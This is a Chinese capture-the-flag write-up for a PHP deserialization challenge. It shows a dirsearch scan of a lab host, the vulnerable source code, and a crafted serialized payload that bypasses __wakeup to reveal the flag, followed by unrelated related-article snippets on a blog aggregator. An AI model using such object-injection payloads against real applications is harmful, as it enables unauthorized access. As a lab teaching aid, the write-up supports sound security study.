[极客大挑战 2019]PHP(反序列化)

介绍说明,有备份的习惯,找常见的备份文件后缀名
使用dirsearch进行扫描

dirsearch -u http://f64378a5-a3e0-4dbb-83a3-990bb9e19901.node4.buuoj.cn:81/ -e php

-e 指定网站语言
扫描出现,www.zip文件
在这里插入图片描述

查看index.php

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?> 

GET传递select,包含class.php
查看class.php
查看输出flag条件,发现多个函数__wakeup()等多个序列化函数

补充知识点:

常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

根据class.php内容,手动构造反序列化

<?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$a = new Name('admin', 100);
var_dump(serialize($a));?>

代码是一个简单的 PHP 类,名为 “Name”,其中包含了一个私有属性 $username 和 $password,以及一个公共的构造函数 __construct。构造函数用于初始化对象的属性值。
在代码末尾,通过实例化 “Name” 类,并传入参数 ‘admin’ 和 100 来创建一个对象 $a。然后使用 serialize() 函数对该对象进行序列化,并使用 var_dump() 打印序列化结果。

挂载phpstudy。Web 服务器上运行该 PHP 文件
在这里插入图片描述

"O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

输出结果中Name和username,Name和password之间是有不可见字符的,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

这是一个使用 PHP 序列化函数 serialize() 序列化的字符串表示形式。让我为您解释一下每个部分的含义:
O:4:“Name”:2:
这表示序列化的对象类型,其中 4 表示类名 “Name” 的长度,“Name” 是类名本身,2 表示该对象有两个属性。
s:14:“Nameusername”;
这表示第一个属性的序列化表示。s 表示字符串类型,14 表示该字符串的长度,“Nameusername” 是属性名称,其中包含了类名 “Name” 作为前缀。
s:5:“admin”;
这表示第一个属性的值,即用户名。5 表示字符串的长度,“admin” 是实际的属性值。
s:14:“Namepassword”;
这表示第二个属性的序列化表示。与第一个属性类似,14 表示字符串的长度,“Namepassword” 是属性名称。
i:100;
这表示第二个属性的值,即密码。i 表示整数类型,100 是实际的属性值。
综上所述,该序列化字符串表示一个名为 “Name” 的对象,它有两个属性:Nameusername 和 Namepassword,分别对应用户名和密码字段的值。

输出结果中Name和username,Name和password之间是有不可见字符的,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)
另外我们还需要绕过__wakeup方法

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
绕过:O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

protected
Name 替换成了
*
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。

protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
参考链接:https://blog.csdn.net/vanarrow/article/details/108242411/
https://www.cnblogs.com/SpouseLJ/p/13209569.html
https://blog.csdn.net/qq_57861415/article/details/129619095
https://blog.csdn.net/weixin_53146913/article/details/123989991
https://zhuanlan.zhihu.com/p/366455343

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/27297.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

力扣C++|一题多解之数学题专场(1)

目录 7. 整数反转 9. 回文数 12. 整数转罗马数字 13. 罗马数字转整数 29. 两数相除 7. 整数反转 给你一个 32 位的有符号整数 x &#xff0c;返回将 x 中的数字部分反转后的结果。 -如果反转后整数超过 32 位的有符号整数的范围 [2^31, 2^31 -1] &#xff0c;就返回 0。…

智慧体育:冰壶比赛数字孪生

本篇文章将介绍如何使用物理引擎和图扑 3D 可视化技术来呈现冰壶运动的模拟。 Oimo.js 物理引擎 Oimo.js 是一个轻量级的物理引擎&#xff0c;它使用 JavaScript 语言编写&#xff0c;并且基于 OimoPhysics 引擎进行了改进和优化。Oimo.js 核心库只有 150K &#xff0c;专门用…

漏洞复现畅捷通CRM SQL注入

免责声明 术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用…

PHP与Golang对战:两种语言的比较与应用场景探讨

引言 在软件开发领域&#xff0c;选择一种合适的编程语言对于项目的成功至关重要。而在今天的文中&#xff0c;我们将探讨两个备受争议的编程语言——PHP与Golang之间的对战。通过比较它们的优势和应用场景&#xff0c;帮助开发者更好地了解如何选择适合自己项目的语言。 PHP的…

cocos creator Richtext点击事件

组件如图 添加ts自定义脚本&#xff0c;定义onClickFunc点击方法&#xff1a; import { Component, _decorator} from "cc";const { ccclass } _decorator; ccclass(RichTextComponent) export class RichTextComponent extends Component{public onClickFunc(even…

MySQL-DQL-小结

基本查询 条件查询 分组查询 排序查询 分页查询

AC+AP 旁挂式连接配置(华为)

AR1路由器配置 # interface GigabitEthernet0/0/0 ip address 10.1.30.1 255.255.255.0 ip route-static 10.1.20.0 255.255.255.0 10.1.30.2 # LSW1核心交换机 # dhcp enable vlan batch 10 20 30 interface Vlanif20 ip address 10.1.20.1 255.255.255.0 dhcp select in…

源码解读之FutureTask如何实现最大等待时间

预备知识&#xff1a;Java 线程挂起的常用方式有以下几种 Thread.sleep(long millis)&#xff1a;这个方法可以让线程挂起一段时间&#xff0c;并释放 CPU 时间片&#xff0c;等待一段时间后自动恢复执行。这种方式可以用来实现简单的定时器功能&#xff0c;但如果不恰当使用会…

vue文件上传,文件打不开。文件上传 on-progress不触发

//文件上传带进度条<el-uploadv-model:file-list"fileList":limit"3":on-progress"beforeAvatarUpload"//on-progress 不触发&#xff0c;触发的关键在于覆盖原有的http请求:http-request"getFile":action"${app.api}/student…

投个 3D 冰壶,上班玩一玩 | 物理引擎

本篇文章将介绍如何使用物理引擎和图扑 3D 可视化技术来呈现冰壶运动的模拟。 Oimo.js 物理引擎 Oimo.js 是一个轻量级的物理引擎&#xff0c;它使用 JavaScript 语言编写&#xff0c;并且基于 OimoPhysics 引擎进行了改进和优化。Oimo.js 核心库只有 150K &#xff0c;专门用…

【原创】实现GPT中Transformer模型之框架概念

作者&#xff1a;黑夜路人 时间&#xff1a;2023年7月 GPT是什么意思 GPT的全称是 Generative Pre-trained Transformer&#xff08;生成型预训练变换模型&#xff09;&#xff0c;它是基于大量语料数据上训练&#xff0c;以生成类似于人类自然语言的文本。其名称中的“预训练”…

linux远程服务器和本地服务器相互之间传输文件方法SSH(乌班图系统)

提前知道几点&#xff1a; 1.使用的MobaXterm软件 2.访问本地、远程服务器&#xff0c;需要账号和密码&#xff08;远程机器上的用户名和密码 远程机器的 IP 地址或主机名&#xff08;在同一子网上&#xff09;&#xff09;。每次访问需要输入密码&#xff0c;可以搜Ubuntu SS…